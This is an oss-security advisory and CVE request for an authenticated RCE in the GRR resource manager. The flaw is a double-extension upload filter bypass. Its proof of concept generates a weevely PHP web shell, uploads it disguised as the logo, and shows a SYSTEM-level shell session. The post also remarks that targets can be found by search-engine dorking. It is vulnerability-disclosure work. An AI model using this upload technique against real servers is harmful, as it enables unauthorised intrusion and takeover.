oss-security - GRR <= 3.0.0-RC1 (all versions) RCE with privilege escalation through file upload filter bypass (authenficated)

Follow @Openwall on Twitter for new release announcements and other news

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <CAORzZ6Wt3iMV-WKXO7hxp+GmXVS8PVf_yMpd-Z+dgcEY5LmgzA@mail.gmail.com>
Date: Tue, 12 Jan 2016 20:03:27 +0100
From: Jean-Marie Bourbon <mail.bourbon@...il.com>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: GRR <= 3.0.0-RC1 (all versions) RCE with privilege escalation through
 file upload filter bypass (authenficated)

Hi guys,

I'd like to request a CVE ID for the following security issue.

I. APPLICATION
======================================================================================

GRR is an open source resources manager tool used in many french public
institutions (not only!).
It permit for example to manage rooms reservations, and so much more.

Software Link:
http://grr.devome.com/fr/telechargement/category/3-versions-patch?download=7:grr-3-0-0-rc1

II. ADVISORY
======================================================================================

The application allows administrators to change the enterprise's logo
uploading a new image with .png,.jpg or .gif extension only.

Once uploaded, image name is "splitted" in an array and renamed with the
name "logo" followed by the extention saved as 2nd array's element.

This file called for example "logo.jpg" is also "chmoded" as 0666
permission
and directly accessible in image folder (img_grr by default) by all users.

Besides, the application does only a basic conditional php test
on the extension of the uploaded file.

It's possible for an attacker to add a second extension that will be
used when the image will be renamed in order to bypass this basic filter
(double extension upload filter bypassing).

So, a file called backdoor.php.jpg will be renamed as logo.php with
chmod 0666 permissions and could be used by attacker to gain more
privileges
on the targeted server (privesc due to bad file permissions and RCE).

To trigger this vulnerability it is necessary to have an administrator
account on the GRR application.

This vulnerability is a combination of 3 issues:
- predictable uploaded file names and path
- upload of any kind of file
- bad files permission when we upload this file that permit us to gain
privilegied access.

Note that it could be "dorkable" in order to find targets ... and sometimes
with trivial admin credentials ;-).

III. PROOF OF CONCEPT
======================================================================================

Generate backdoor:

    kmkz@...z:~#  weevely generate pass123 /tmp/3lrvs.php
    Generated backdoor with password 'pass123' in '/tmp/3lrvs.php' of 1486
byte size.
    kmkz@...z:~# mv /tmp/3lrvs.php /tmp/3lrvs.php.jpg

Login as admin and upload this new 'logo' > Administration > logo

Enjoy your shell!

      kmkz@...z:~# weevely http://laboratoire.target.fr/images/logo.php
pass123
    [+] weevely 3.2.0

    [+] Target:    laboratoire.target.fr:F:\server\grr\images
    [+] Session:    /kmkz/.weevely/sessions/
laboratoire.target.fr/logo_1.session
    [+] Shell:    System shell

    [+] Browse the filesystem or execute commands starts the connection
    [+] to the target. Type :help for more information.

    weevely> whoami
    autorite nt\system

IV. RISK
======================================================================================

By uploading a script, an attacker may be able to execute arbitrary code
on the server with elevated privileges.

This flaw may compromise the integrity of the system
(with access to sensitive informations, network shares...) and it may
conduce
to  full information system's compromission using pivots techniques and
imagination!

V. VERSIONS AFFECTED
======================================================================================

GRR 3.0.0-RC1 is vulnerable (and all previous versions)

VI. TIMELINE
======================================================================================

December 17th, 2015: Vulnerability identification
January 7th, 2016: Vendor and project developers notification
January 11th, 2016: Project developers response

@kmkz_security

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.